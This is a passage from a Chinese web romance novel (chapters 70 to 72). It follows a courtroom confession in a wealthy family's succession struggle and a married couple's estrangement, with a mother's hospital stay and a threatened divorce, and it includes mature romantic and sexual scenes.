齐纯芝从席上,缓慢地走向了裴观若身前,沉默两秒,又道,“我和陈宝翠一样年轻时贪慕荣华富贵,又生性软弱,从不敢反抗裴胤的权势,但看到他一步步不念及多年枕边夫妻情分狠心逼死陈宝翠,我真的怕了。” 她也有女儿啊。 她无法想象自己的女儿,像裴观若一样,被威逼着去出卖身体,像个香艳丑闻一样站在风口浪尖被人审判。 “文滨是蠢材,在裴家蠢一点才有活路,有美貌有脑子就是原罪。”齐纯芝讽刺至极低语,继而,对裴观若说:“裴以稀是裴胤一手养育出来的继承人,她又是个不念及兄弟姐妹情谊的冷血性格,以后治家手段只会远超于裴胤,你妹妹文晴还小………” 太小了。 更好被裴以稀掌控。 裴观若有了宁惟羽的孩子。 宁氏家族下场,这让齐纯芝意识到她是有资本去跟裴以稀斗,这股微弱的希望支撑着身躯,慢声慢调的语气也愈发坚定:“人是我杀的,跟裴观若无关,她的供词都是假的。” “你有人证吗?”这时,律师问了一句。 “有。”齐纯芝说:“裴家不少跟我一样的女人,都亲眼目睹到当时是裴观若先遭到裴胤的疯狂羞辱和虐待,她是出于自卫,才会失手捅伤了裴胤。” “药剂怎么回事?” “裴观若只是为了让裴胤情绪镇定下来。” “不,不是这样……”裴观若手脚冰凉,钻心的痛从心尖上弥漫到全身上下,她企图去挣扎,又因应激的情绪被人控制在身前的红木桌上。 泪水,一滴滴的无端地砸下来,形成漩涡般,又清晰倒映着齐纯芝的脸。 “你是在……”作伪证。 无论致命的那刀有没有人补,裴观若哪怕终生都将被罪孽的黑纱笼罩着,都不需要任何人帮她替罪。 齐纯芝慢慢俯低,在她病恹恹的脸颊旁低语:“我再告诉你一个真相吧,你母亲跳楼的那扇窗户,是我打开的。” 裴观若倏地抬眼,手指关节紧紧抓着冰冷的桌边缘。 齐纯芝自知沾满了鲜血,她如今不过是从罪恶里,筛洒出了一点点良知,最后说:“我欠你一条命。” 留有血腥指纹的匕首。 和齐纯芝当庭召集了裴家整整十名穿着一样殷红旗袍的女人做目击证人,证据链确凿到目前足以让裴观若摆脱了亲手弑父的嫌疑。 墙倒众人推,裴以稀威胁不了她们了。 齐纯芝和这些被荣华富贵眯了眼,年纪轻轻就进了裴家,替裴胤结交权贵收买人心,私下做了很多贪污受贿之事的可怜女人一起提前燃烧了自己的人生做代价。 心甘情愿的,托举起了自己孩子的未来。 林稚水虽然全程旁观没有卷入进来,却很清楚,齐纯芝之所以当众认罪,还有一点是有意当宁氏家族的面认的。 她在投诚。 想让宁氏家族念及,她也有出一份力保住裴观若肚子孩子的功劳,希望,将来裴家易主的话,如果不是裴观若坐上那位子,也希望新任家主能善待她的儿女。 大家都懂,只有被齐纯芝赌上一切去保护的裴文滨不懂。 “我想,裴嘉因会和裴观若合作的。” 等回到泗城地界后,林稚水思绪沉浮了一路,进别墅门后,突然冒出了这句话。 宁商羽将大衣脱了扔在沙发手扶上,解了约束,就半秒没耽误,自然不过的把她抱了过来,放在怀里:“嗯?” 林稚水在他绝对的力量面前,也懒得挣扎,手脚都乖乖垂着,睫毛也垂着:“裴观若手头上应该有不少裴家黑料,这场裴家腥风血雨的内斗博弈里,两人目标一致,联手才能双赢。” 裴嘉因要的是裴以稀那个位子。 裴观若要的是裴以稀付出代价。 林稚水坐在他大腿上,裙摆下的极白脚踝慢悠悠晃着,摩擦过他黑色西装裤脚,又说:“齐纯芝赌裴观若会借宁家的权势成为家主,我觉得不会,她肚子里怀的是宁惟羽血脉,就注定跟家主之位无缘了。” 话音落地,她才抬起头,对视着宁商羽沉静的琥珀眼眸:“让她坐,这不是等于你把裴家拱手让给了宁惟羽,宁总可没这么好心肠给未来小外甥送这么一大份见面礼。” 裴嘉因必定是下一任裴家之主。 林稚水几乎笃定了。 宁商羽无声地笑了,很淡转瞬就从眼底消失,极其缓慢低首靠近,伴着滚烫的热息,在她唇上轻轻碰了一下:“那你觉得我会把裴家当礼物送给谁?” “当然是我。”林稚水睫毛不自觉颤颤,手指轻轻点他手背上略微泛起青筋,说:“我还知道裴嘉因喜欢我。” 宁商羽眼神极深打量了她几秒。 神色毫无波澜,似乎暗喻着他也知道。 林稚水无端感到心口难受,果然宁商羽就是一个从头彻尾抛弃情爱的利己野心家,他还傲慢至极,压根不担心她身边会出现各种优秀爱慕者。 片刻后,轻轻压下这股情绪,林稚水才说话:“我之前选裴观若的画廊替我所用,她私下跟宁惟羽合作的那一刻起就出局了,你重新为我择选了裴嘉因。” 裴嘉因被林氏慈善机构赞助长大,有这个恩情在前,又仰慕她,还是依仗着宁商羽爬上位,效忠程度肯定比别的家族要真诚很多。 日后,林稚水有什么事,都能交付给他暗中处理干净。 “什么都被你这双眼睛看透了。”宁商羽去亲她薄到透白的眼皮,就着亲密姿态,筋骨修长的手指开始替她解开衣领纽扣,“我奖励你点东西,嗯?” 林稚水稍微躲了躲身子,指尖挡住他,突然说:“你这种奖励方式太没人情味儿了,我不想要,你不能来强迫的……” 她是真爱至上,跟宁商羽这种权力主义者已经有了心理上的隔阂,哪怕身体的一部分,是完美契合的。 于是,林稚水表现出非常冷淡的拒绝了宁商羽逐渐高涨的热情。 并且体贴入微的提议他出门走走。 毕竟窗外的大雪天,还息不灭他么? 随着裴胤的案子逐渐进入尾声,裴观若也从深城转移到了泗城来养胎,宁商羽白天忙着他的雷厉风行收购计划,晚上也忙碌着开会到凌晨后半夜,间接性地,让林稚水躲去了一场向来非常激烈的夫妻夜间义务。 他经常当面,神色淡漠的注射抑制剂。 一次从三针的药量,严重点都要五针的程度。 林稚水很多时候都困惑不解,这么高强度的工作量都没把他旺盛的精力欲望给磨灭么?怎么感觉宁商羽的野心勃勃和他下面,是一致成正比例的? 特别是早上时。 林稚水又回到了被他高温体质给烫醒,都不用情到深处,睡袍衣领下的雪白后背就渗出的一层黏黏的细汗。 久而久之,她就不太想跟宁商羽睡一块了。 于是又一个雪夜里,不经意间时,林稚水有善解人意的提起:“你要不要回老宅住几日?” 宁商羽看了她眼,抬手要把人往怀里抱时,林稚水已经被他抱出了条件反射出来,腰肢一侧,巧妙地躲开那强而有力的手臂,假意去倒水喝。 她继续提议:“裴观若的身体检查报告出来了,胎儿很健康,她的事算是告一段落,宁惟羽也会回到老宅床前尽孝……” 宁商羽不去看看么? 他不去,林稚水都想去了:“老爷子准备什么时候说?” 宁商羽靠在椅子上,一身西装锋利的模样充满攻击性,语调沉静的反问她:“你什么时候给睡?” 林稚水眼眸垂了几秒,注意点他修长过分的两条腿敞开着,像是蛰伏良久的丛林黑蟒,毫不掩饰对她正处于极度兴奋的状态里。 她抿了抿淡红色的唇,指尖在书桌上绕圈圈玩,将高级木质的冰冷温度逐渐摩擦到了微烫,才恍然一样停了瞬,还是不理他这话。 宁商羽耐心不足一分钟,趁其不注意就把她抱了过来,刚刚好,软软的臀部对准着,隔着黑色布料,就坐在上面。 林稚水受惊似的连带双膝都猛地合拢起来,脚尖触及不到地毯,刚要挣扎,忽而听他用很平淡语气说:“裴以稀死了。” 死了? 那个自幼就饲养罗威纳恶犬的,把裴家一众私生子当提线木偶玩的裴以稀,怎么会轻易丢了性命? 林稚水讶然了片刻,顾不得从他怀里下来,下意识伸手抱住他脖颈:“人为还是?” “自杀。”宁商羽也是今晚临时接到裴嘉因发来的汇报,裴以稀知道自己必败无疑,而败的下场可想而知。 她这一生都用狂躁变态的方式来宣泄着自己的恨: 一恨样貌生得好平淡,偏偏那些出生不清白的私生子女都是生了副顶好的皮囊。 二恨她母亲遗照还高高挂在裴家墙上,结果一个又一个风月场所的女人被风流倜傥的裴胤迎进门,生下一个又一个跟她血脉相连的孩子。 裴以稀从小人格就扭曲了,她任性欺辱了这些人整整二十年。 心里很清楚,裴观若第一个不会放过她。 宁商羽没透露很多内情,也没告诉林稚水,裴以稀是自我了断,选择吊在了自己母亲的遗照前整整一夜,才被保镖发现。 林稚水没往下问,将柔软脑袋安静地靠在他这儿半响,落地窗外阴沉沉的,雪不知何时停了,可却压人心头。 沉默了很长时间,她重新抬起头,声音轻轻说:“裴观若最后一刀是冲裴胤喉咙去,报陈宝翠的割喉之仇,如果裴以稀不选择自杀,她应该会被裴观若关一辈子……” 像裴家那些可怜的女人一样,被关在暗无天日的小阁楼里。 林稚水情绪再度无端低落起来,不是为了裴以稀,只是觉得裴家没有赢家,所有人都是裴胤利欲熏心算计下的牺牲品,被命运无情地推着走向不同的结局。 她眨着眼,看着近在咫尺宁商羽挺直的鼻梁露在暖黄色灯光里,忍不住委屈的问:“你能不能说一句好听的话,哄哄我?” “我还不够哄你?”宁商羽低头亲她唇,“你想听什么?” 林稚水感知着他逐渐加深亲吻,指尖下意识抵着他的肩膀西装料子,又松开,再度攥得很紧,小声喘着气说:“你就简单发个誓……我一生,都会对林稚水忠诚致死,不离不弃。” “这一生不会有任何私生子女,婚生子的亲生母亲只能是林稚水。” “林稚水要是不生,也不会背叛她的婚姻,去找别的女人。” “你的权力财富都必须给你和林稚水共同的孩子继承……不许有二心,如果违背誓言,就惩罚你日后天天都射嘶……不出来一滴。” 林稚水尾音断断续续了,是可怜兮兮的舌尖被他突然凶猛起来给咬的。 几十秒后,微甜的血腥味在彼此间弥漫开,宁商羽才倏忽在她唇间低问:“什么才叫忠诚?过去,未来,宁商羽的原配妻子宁太太有且仅有一位,是港区林家林稚水,这样够么?” 不够的。 她清透如湖泊的眼睛透露出的意思很明显,他还少说了一个。 宁商羽此生唯一挚爱,也必须是林稚水。 但是宁商羽也不知道是没想起来,还是权力至上的野心家一向是爱把这类的词汇屏蔽在心脏之外。 他不把誓言说完整来,林稚水就始终不会感到满足,故意用屁股,碾压了一会儿那充满危险气息的丛林黑蟒。 隔着西装高级料子,逐渐地,发现湿意的颜色深重了些。 宁商羽长指掐着她的漂亮下巴尖,要她低头看个清楚:“不止一滴。” 很多很多。 竟然被她贴贴蹭蹭的给坐出来了。 林稚水心脏的跳动声倏地很大,距离这么近,很明显宁商羽都听到了,他今晚一直都在对她释放自己的吸引力,语调似笑非笑问:“还有很多,稚水,你要么?” 70-74 第71章 林稚水太熟悉这种感觉了。 面对无论高大的体型还是力量感都远胜自己的宁商羽,她连脚尖着地的机会都没有,更别说用这副小身板去抵抗来自他的顶撞。 后腰被他手臂搂住,猛地一下就被按到他胸膛前,彼此的心跳声顷刻间像是进行了交换似的,林稚水心神恍惚几秒,然而,还是理智占了上风,她说:“不要。” 她要爱,宁商羽一滴都不给,这个倒是都想往她这里又猛又急的浇灌。 都不要了。 林稚水声音很轻,犹如最上等的如水丝缎,滑滑的,顺着他突起的性感喉结环绕而过: “我想要什么,你自己心里慢慢取舍吧,不给,你就继续这样小心翼翼讨好着我,说不定呢,等我哪天有生理需求了,就愿意给你一次……” 至于哪天才有,林稚水现在心如止水,也不知道。 冷着表情拒绝完宁商羽后,她就回卧室了,也不管他依旧坐在办公椅上,那湿漉漉西装裤的巨大轮廓要什么时候才能消的下去。 这一晚上,她独享受了那张极宽的黑丝绒大床,半梦半醒时,隐约感知到宁商羽是进来过的,他先去浴室洗澡,将高大身躯的滚烫热度降下去不少后,再隔着被窝,从后面抱着她躺了一时片刻。 之后,又起床,去衣帽间换了西装三件套,出去了。 等落地窗外天光大亮,林稚水平躺着睁开眼,醒来还是只剩她一个,来不及散发那股无端落寞的难受劲儿,来电铃声乍然响起来,打断了她的思维。 林稚水抬起脑袋,伸出手去床头柜上摸索了过来,屏幕显示“应诗贤”。 应诗贤身为林氏集团的首席秘书,在生意业务往来方面一向是跟林曦光联系的比较频繁,没特殊情况,极少给她打电话的。 林稚水昨晚夜里就莫名其妙睡不安稳,好似魂魄是散的,这通电话,更让她感到突然很闷。 然而,应诗贤接下来的话,更让她喘不过气: “小小姐,是这样的,盛董于昨晚做了一场摘除良性小肿瘤的手术,风险极小,目前已经安全从手术台下来……” “我现在回来陪妈妈。”林稚水什么都没问,直接打断了应诗贤的话。 应诗贤顿了顿:“好。” 盛明璎一周前身体检查出了个肿瘤,按照她的意思,这手术谈不上多严重,犯不着惊动两个女儿特地赶回港区。 她则是选择在林氏家族的私人医院做,自己面不改色签完同意书,就走进了手术室。 等盛明璎从监护室转移到普通病房观察后,林稚水也终于急忙赶到了,医院路况不好,有一段路还得下来走。 林稚水高跟鞋踩不稳,把鞋脱了,就这么踩在薄薄的枯叶里,途中还摔了一跤,等进大门,坐电梯直达住院部的第七层楼时,整个人都跟脏兮兮的漂亮洋娃娃一样。 应诗贤守在走廊,看到她,讶异定住了。 林稚水的毛呢大衣沾了不少枯叶,露出来的一截白色的裙角,再往里,脚踝已经冻得发青,她没在意似的,却慢步走到有暖气的地方,语气佯装着轻松问:“妈妈情况怎么样了?” “麻药没散之前清醒过来一次,又陷入昏迷了。”应诗贤道。 林稚水点点头,继而又问了些细枝末节,等身子暖的差不多了,脸色也不似一开始那么白,才抬手推开病房门进去。 宽敞的室内很静,盛明璎正沉沉地睡着,雪白的被褥铺在她身上,就犹如一副艳丽四射的美人稿底色。 林稚水屏息注视着很久,生怕呼吸重点儿,就把母亲惊醒了。 有记忆以来。 虚弱二字,似乎从未出现在盛明璎的身上,她永远都是大权在握,有意以睚眦必报的冷艳形象示人。 哪怕病了,她都选择独自承受着。 林稚水被外面寒气浸染的神经疼,又分不清哪儿更疼一点,她没像幼年时脆弱又高敏感性似的会哭会闹,而是走过去,慢慢的趴在了床沿,将脸蛋无声地贴盛明璎的手背上。 从日出到日落,期间林稚水手机响了两次。 一次是凌晨后半夜去出差的宁商羽打来的,她没接到,迷迷糊糊睡过去了,等意识稍微清醒后,第二次是林曦光打来的。 林曦光的意思是让母亲静养一段时间,林氏家族的医药生意会由她来全权代理,而姐妹分工合作,林稚水只要在医院主打陪伴就好了。 窗外夜幕逐渐降临,盛明璎终于从深眠状态里乍醒来,没有光源的环境下,她看到了那一双无数次午夜梦回的古典悲悯琉璃色眼眸,近乎是下意识地,气若游丝的低唤了声:“砚棠……” “砚棠。” “我不是砚棠。”林稚水坐在病床边,睁着眼,一眨不眨地盯着母亲苏醒的憔悴面容,继而,将她被子上温热的右手握起,往自己眉眼贴:“我是你女儿善善。” 盛明璎在黑暗中僵了很久,意识才慢慢彻底回到现实世界里。 她腕间的脉搏是一下下地跳动着的,生命体征也非常稳定,半响后,指节微动,临摹似的,触及林稚水的脸蛋轮廓:“善善。” 林稚水轻轻嗯了声。 盛明璎问她:“谁叫你回来的?” “没人叫,是我自己想回家了。”林稚水始终隐在暗光里,她提前把病房所有照明的灯光都熄灭了,窗帘也拉上,谁也看不见谁的一丝半点脆弱,声音很平静说:“我昨晚睡不好,总是感觉心口空落落的,妈妈,你生病了为什么不告诉我和瞳瞳?” “小手术。” “小手术就可以不知会一声了是吗?”林稚水瞬间喉咙涌上太多酸涩,险些连带眼尾都觉得酸胀难忍至极,索性,都看不到。 盛明璎也看不到,自己的女儿很狼狈,就跟冬天街边垃圾桶没人要的破烂娃娃一样。 安静片刻,林稚水又说:“我没有要怪你,我知道你也不想生病的,手术做完都过去了,我们不提了……” 不提了。 林稚水一向是言出必行,继而,自然而然的问:“医生嘱咐了你还不能吃东西也不能喝水,会感到饿或是哪里难受吗?” 盛明璎摇头,显然清醒了,连疲惫虚弱感都淡去了不少,又恢复了盛董事长独当一面的冷艳高贵气势。 病魔哪里打倒的了她。 林稚水又跟个小人儿似的趴在床边跟她碎碎念了不少话,列如这家医院的私人飞机停车场不应该建在附近,应该重建在楼顶。 又说,瞳瞳主外,把公司正谈的合作业务都接管过去了,一大堆事等着她处理,就没能有机会脱身来医院。 盛明璎听困了,手指摸了摸她脸蛋:“让妈妈睡会。” 林稚水抿紧唇,没再出声了,等察觉到盛明璎的呼吸气息都绵长安静后,才慢吞吞的,手心扶着床沿边起身出去。 在走廊外,她走远点儿,到一处环境幽静没有护士巡视的地方坐下。 正好,面朝着的玻璃窗外夜色很浓,亮着稀疏的灯光。 林稚水注视着这抹光点,任由脑海中的思绪如沸又逐渐开始平静下来,直到宁商羽夜里的来电,再次将其激起一波无形浪花。 林稚水这次没有不接听,而是接听后,听到自己的声音说:“我暂时不回泗城了,妈妈需要我。” 宁商羽这通电话倒不是催她回家,而是语调不疾不徐地传来:“你在路上摔了一跤,保镖已经在附近酒店开了一间房,听话,去泡个热水澡,把脏衣服换了。” 免于林稚水现在脑子是那种凝滞的状态,不太能听得懂他的话。 宁商羽是用命令的口吻。 林稚水睫毛又长又翘,半垂挡住了眼底的水光,视线后知后觉看到自己衣摆和裙角都沾了点儿枯黄的树叶片子,冰凉皮肤表层的体温也一直升不上去。 她其实没摔疼。 就是摔跤时,整个人都把魂魄给摔出去似的,一直游离在外,定不下神来了。 宁商羽安排的保镖已经在走廊另一端等候多时,而他,也始终没挂断这通电话,直到她已经进了酒店套房,就变成了视频通话。 宁商羽中断了跟旁人的商务话题,步入茶室,又一步步地,命令着她脱衣服,把水温调到合适的温度,坐进去暖和会儿身子。 林稚水按步骤来,但是动作很慢,像是挤出一丝力气做这些,等光脚踩在裙子上后,极其美丽的雪白身体也彻底暴露出来,脖侧往下的位置,还隐约有被他先前咬出的凌乱淡红齿痕。 下一秒。 林稚水踩进了水里,伴着蒸腾的水蒸气逐渐弥漫过她肩膀,连带眸底也盈起了一层薄薄的水雾。 茶室外的秘书极其隐晦地提示,时间到了。 宁商羽却从不催她,耐心等林稚水泡到快昏昏欲睡,脑袋要沿着浴缸滑下去时,才叫醒她:“善善。” 林稚水睫毛随着透白的眼皮上下颤了颤。 随即,听到宁商羽低声问:“你有什么想跟我说的么?” 林稚水的视线就像是被这句话极具蛊惑力的吸引过去一样,隔着屏幕,盯着宁商羽那张俊美熟悉的脸。 唇动了动,溢出的声音,不是让他抛下行程公务来港区,而是很轻很轻说: “我想留在妈妈身边。” 她想留在家里。 盛明璎留院观察的一周时间内,哪怕宁商羽隔着太平洋的遥远距离,每天都非常固定时间给她打视频电话,林稚水都没有动摇过这个念头。 宁商羽也不问了,电话却照打不误。 他连这方面都贯穿了强硬激进的资本家本性,从一开始半小时的视频变成了两三个,又变本加厉到要她放在枕头边,手机对着脸。 林稚水睡自己的,他在深夜办公时,偶尔也注视着她睡颜。 林稚水第二次就拒绝了,说,“太亮了吵到我眼睛,睡不好觉。” 宁商羽顿了半秒,“你放床头,把屏幕调暗。” 林稚水又说,“你翻阅文件和钢笔声音都会吵到我耳朵……” 她表情真诚自称对睡眠质量要求非常高,体质非常敏感,这个借口理直气壮的把宁商羽的视频通话给拒绝了回去。 效果渐显,他那边沉寂了三天都没再打来。 盛明璎第七天就出院了。 林稚水又陪伴母亲回到了林家老宅,她还亲自找了辛静喧要了不少正儿八经补身体亏虚的药膳,整日在阿泱等人的温柔陪同下,钻进厨房里炖个没玩完了的。 而这时,深城地界的裴嘉因温文尔雅地敲响了大门。 盛明璎要静养,林稚水不想外界的一切事情打扰到她,于是,就换了身衣服,来到了附近一处象牙白雕像的喷泉广场喂鸽子。 港区的冬天没那么寒冷,并不刺人目的日光洒在身上很舒服,林稚水低垂着睫毛,拆了包鸽粮,安安静静地喂了一会儿。 裴嘉因也静立在旁边看着,等她抬头,他那双永远温润光泽的眼眸就笑了,语调不似怕惊动鸽子,是怕惊动了她:“宁总的秘书说宁太太你一直在港区,我就来了。” 现在裴嘉因是家主了,但是幕后真正有话语权的人,是林稚水。 他姿态文雅,又很理智的摆好两人一高一低的阶层差距,不敢逾矩。 林稚水更清楚,这是宁商羽赋予到她手头上的权利,指尖细揉慢捻了会儿鸽粮,才出声:“说说近况吧。” 裴嘉因:“宁总已经开始收购裴家根基链上的大部分港口,这些巨额资金,我移了一半出来安顿了裴家那些私生子女,但凡想脱离裴家,都能领取一份在社会上安身立命的财富,想继续留在裴家生存,尽可进公司效力。” 他上位,人心不稳,治家手段需得仁慈点儿。 “裴观若呢?”林稚水问。 裴嘉因静止不动的神色落在她眼里:“裴观若又回深城了,亲自打击报复了一些替裴胤办了不少见不得光事的高层股东,其中包括欺辱过陈宝翠的,她案子虽没结,但是怀孕,能让她暂时获得一些自由。” 裴观若非常有手段和能力,早年间她想逃离裴家,就在暗中谋划着深挖一些人的把柄了,为了拿来做换取自由身的筹码用的。 陈宝翠一死,这些筹码立即变成了她手中的刀刃。 裴观若只是为了讨个公道,林稚水听后,没有阻止的意思。 不过裴观若法庭上不敢看向她这边,被保出来后,也一直不敢现身她面前,林稚水始终保持静默的态度。 在这静里,她重新端详了裴嘉因片刻,说:“我希望你做个好家主。” 话音落下的瞬间,满场的白鸽漫天飞舞了起来,裴嘉因身在其中,凝视着她这张生得极美又纯洁的脸蛋:“我会竭尽所能……” 做一个好人。 一个被心地善良的林稚水盖章认可的好人。 林稚水在喷泉广场喂了近两个小时白鸽的日常活动,也被随行的保镖如实汇报给了远在另一方的宁商羽,还附送了视频。 她的身影比中央那座象牙白雕像还要纯白,人来人往的都不由自主地停驻下来,回头多瞧她几眼。 裴嘉因一直陪着。 宁商羽忽而觉得视频一角这道浅灰色的西装身影有点碍眼,只是面色不显,继续漫不经心地把视频重复看了三遍。 容伽礼观察他已久,倚着门,对外从未向谁施舍过一丝弧度的嘴角笑了起来。 宁商羽掀起眼皮,淡淡扫过去了秒。 容伽礼步入到对面沙发坐,云淡风轻道:“依我之见,林稚水无非就是要你先低头说一句爱她,商羽,赴美坐上谈判桌,上百亿美金的筹码都面不改色敢开口,爱就这么难开口?” 在谈判桌上,宁商羽多大的筹码都敢玩,而冷情冷肺的精致利己资本家,唯独情爱,是半点不愿沾多的。 他们太清楚,沾了情爱的代价是什么。 容伽礼看他半点利都不让,玩味地继续笑,又端着平易近人的姿态好心提醒:“你再这样下去,小心林稚水开始否认你的合法地位。” 她一直想回家。 心心念念回到港区林家,像一个柔软无辜的小动物跑到外面探索世界,伤了点儿皮外伤后,躲回了窝里,不愿意继续出来了。 宁商羽条件反射地皱起锋利的眉骨,继而,伸出修长的手去拿茶几上的雪茄。 倏地,却被容伽礼煞有其事地阻止了,嗓音极轻地叹了叹:“我备孕,不能闻一点烟味。” “你从上半年备孕到下半年?” 宁商羽慢条斯理地解开袖扣,将衣袖折了起来,隐约露出小臂内烙印着的黑色极简直线刺青,转而去开一瓶伏特加,又语调平淡而认真地问:“是路汐忙着拍戏没空搭理你,还是你身娇体弱?” 身娇体弱的容伽礼扫了眼他那道刺青,漫不经心地说,似是回击,“能备孕,总比宁总如今丧失备孕资格要幸运一些。” 没有备孕资格的宁商羽直接把烈酒饮尽。 他有后患无穷的遗传基因性瘾,私下跟林稚水最近一个月内都没有夫妻生活,只能靠抑制剂来压制那股欲,短时间内,也用了超过近三个月的量。 医生再次嘱咐不可超量。 宁商羽生性傲慢并不遵从医嘱安排,他又重度洁癖作祟,除了林稚水外,谁都不屑去碰,不给外界任何一位投怀送抱的人靠近机会。 只能用药剂。 致死量一样的用法,让奚宴等人瞧了都心惊胆战。 偏偏宁商羽高贵冷艳地早就将跟随身后左右的这群人都下达了禁口令,无人敢把实际情况,在暗地里传递到港区林稚水的耳朵里。 林稚水。 这三个字,宁商羽一想到,本就精力旺盛的身躯就沸腾起异样,像烈火烧灼一样,然而,很快又被他强行抹去。 他也不是非她不可。 当晚,宁商羽的视频电话依旧没打来。 林稚水窝在书房看珊瑚研究所的当季报告,不知不觉困倦了,在林家,没人能抱她回房间睡,她到冬季就骨子里开始犯懒,索性继续窝在沙发上闭起眼睛。 突然间,一道手机提示音把她从浅眠状态里惊醒。 林稚水将腿蜷起来,翻了个身才去拿。 岂料指尖轻轻一点,屏幕刚亮起,视线内就重新了一张宁商羽发来的照片。 照片里。 宁商羽身处的背景是在那片落羽杉的浴室里,他已经出差归家,洗过澡,高大的身躯披着黑丝绒睡袍,带子散了,在雪亮的光线下清晰露着胸膛与腹肌,正对着镜子,给她拍了一张。 林稚水不懂这是何意。 腹肌之前天天享用,有什么好看的? 她已经是个很成熟的大人了,随即,心如止水地把这条消息删了。 而后,林稚水重新地窝回了沙发上,用卷翘漆黑的睫毛覆住眼,脑子里还残留着刚才那个照片的画面。 其实琢磨几许,林稚水就大概猜到宁商羽是何意了。 他对她有非常强烈的欲望,无关爱欲,纯粹是非常迷恋她这个人。 以至于,宁商羽也是这样认为,她也会很迷恋他的身躯。 林稚水又不得不承认,一开始就是生理性喜欢上了宁商羽,无法自拔地被那股充满蓬勃生命力的气息和温度液体给蛊惑住了心魂,从而深爱上。 但是宁商羽未免太小瞧她了,别说腹肌照了,哪怕是粗壮又漂亮惊人的“小老公”特写照轮番上阵都无法引诱到她了。 林稚水已读不回,甚至冷淡着表情,把宁商羽的微信备注,从【联姻对象】改成【八块腹肌了不起啊】。 一个小时后。 【八块腹肌了不起啊】再次给她发来消息。 这次是几秒的视频。 林稚水心里茫然点开,发现是她的一件白丝绒的睡袍,上面倘若没仔细看的话,几乎很难发现有一大块还没干涸的清亮痕迹。 林稚水眼眸定定注视了半响,脸颊有些发烫,羞恼的情绪都呈在琉璃一样干净的眸底里,想控诉他这种恶劣行为,又忍着了。 当下处于冷战期,如果冲动之下跟宁商羽吵架,都算是奖赏他的。 林稚水深呼吸了几许,继续做一个心态很成熟的大人,把这段视频删了。 又将宁商羽的备注一字一字地改成了【会射了不起啊】。 【会射了不起啊】没有继续骚扰她睡眠了。 反而林稚水迷迷糊糊的做了场梦。 这个梦很混乱,有大雪降下,还同时窗外高高悬挂着烈日,透过厚重窗帘的缝隙,她视野变得很清晰,看着宁商羽坐在床边,是如何气定神闲地玩着她那件白丝绒的睡袍。 先蹭过那衣领。 衣领是最贴近她白嫩脖侧的地方,往下摩擦,将丝带交错缠绕着它,又渐渐地用犹如肌肤般滑的料子紧紧包裹住…… 宁商羽把她的睡袍玩得皱巴巴的,弄脏了。 忽地。 他那双在梦境里,变成鎏金色的琥珀眼直直扫视而来。 林稚水一下子被惊得苏醒过来,猛地从沙发上坐起,呼吸带喘气儿,还逐渐感知到后脖往下的位置都是被细汗给闷热出来的,整个人像只湿漉漉又委屈的小动物。 都怪宁商羽的视频!!! 她才会懵懵懂懂的做起这种难以启齿的梦。 幸而是裹着毛绒毯子睡觉的,这沙发垫子还是清爽,林稚水稍微动了动腿,就察觉到了……流了很多。 林稚水悄然无声地回房间洗澡,用透明干净的水把一切痕迹都冲洗掉,包括对宁商羽的欲望。 她白日时,又去了趟象牙白雕像的喷泉广场喂鸽子。 这次依旧是裴嘉因作陪。 深城和港区的地界太近,裴嘉因来回折返不费半点功夫,他就像是最忠诚的信徒般,知道林稚水近日迷上这个爱好,就会暗中布好一切,把周围潜在危险都扼杀在摇篮里。 保镖的活都让他抢了。 对此,保镖之首的周聿私底下没少跟奚宴打小报告:“此人功利性太重,端着一副斯文君子皮,实际非常爱出风头。” 奚宴心想,没办法子啊,谁让林稚水给裴嘉因表现的机会呢。 连续喂了三天白鸽。 裴嘉因就前往了港区三次,到夕阳落山才护送林稚水安全到家。 第四天时。 林稚水继续捧着香喷喷的鸽粮去喂,这次她在象牙白雕像的前面看到的不再是裴嘉因温润如玉身影,而是另一道气场极盛,更加引人瞩目的高大俊美身影。 宁商羽来了。 林稚水止住脚步,不远不近的站着,眼眸被日光刺激得有点儿水光荡漾,仿佛轻轻一眨,就能沁出泪意来。 宁商羽看到她,便半秒没耽误,迈开长腿迎面走了过来。 时间静止了似的。 直到林稚水还在恍惚,宁商羽已经把她重重一搂到怀里,覆上了唇,视若无睹这是外面,稍有不慎,可能就会被人偷拍上新闻。 他不让慢半拍反应过来的林稚水出于本能的躲闪意图,手掌笼罩着那触感犹如绸缎的白皙后脖,嘴唇温度极高,沿着她的唇到脸颊、耳廓和乌黑的发丝,每一处地方都沾染上他的气息后,又回到原处。 宁商羽强势又霸道的给了她一记深重到近乎喉咙的亲吻,或温柔或粗暴的间隙里,嗓音沉着说:“跟我回家,善善。” 林稚水手指尖很用力地陷到了鸽粮的透明袋子里,像是给自己一股支撑力般,其实要不是被他抱着,早就腿软下去了。 她呼吸微微急促,努力咽下那股来自宁商羽的浓烈好闻气息后,发麻的唇舌,才能动:“我不想回到你身边。” “宁商羽。” “如果你敢强行带我走,我会给你一份离婚协议书……” “认真的。”她盯着这双梦里梦外都沉迷的琥珀眼眸,声音很轻很轻,弥漫在象牙白雕像的喷泉水流声里。 第72章 “给一份离婚协议书。”宁商羽低低地重复了一遍,任她从怀里退出来,真正的神色里冷漠比温柔多,慢条斯理地说,“你倒是敢开口。” “有什么不敢呢?”林稚水先提离婚,那张微微仰起的白瓷似的脸毫无惧意,她不怕他倏地整个人气势都变得极盛到压迫人心,声音始终很平静: “我提了,要是失败收场,大不了就被你以合法丈夫的名义带走,日后是想看我装一下只会在家里嗷嗷待哺依赖着你的巨婴呢,还是毫无生存能力的小绵羊无私爱着你,你想看,我装也能装……” 林稚水把彼此婚后的相处模式提前假设了出来,唇角的湿润没来得及擦拭,继而勾起一抹讽刺的美丽弧度:“只是我觉得没这个必要吧?” 宁商羽是上位者,绝对的权利掌控在手掌心,也导致他傲慢到潜移默化里确实是把她当成那种容易受惊的小动物体质去保护。 他沉迷的不止是林稚水这副身体,还有她那双充满纯粹情感的琉璃眼,半响后,他在一片似无声对峙的静谧气氛里,再度出声:“回泗城就离婚,一直待在港区,就能不离婚了?” 林稚水眼中没有多余的怜悯触动,轻声说道:“商业联姻的夫妻长期两地分居,这种现象在我们豪门圈子里很常见,我们也可以效仿,当然,你来港区出差时,我也会主动到太平山顶的那所别墅居住,陪……” “我不会再来港区。” 宁商羽没有耐心在听她假设下去,薄唇溢出的嗓音看似不起波澜,但语速稍快,“你不跟我走,日后我不会踏足这里。” 他的出差行程地点,可以选在全世界浮华名利场的任何一处,整个太平洋的航线图上都可以,唯独不会在港区地界落脚。 林稚水心思敏感,近乎是瞬间就听出宁商羽的潜台词,很轻眨了下睫毛,无法忽略的酸胀感也从眼尾泛滥开了。 宁商羽正在逼她取舍。 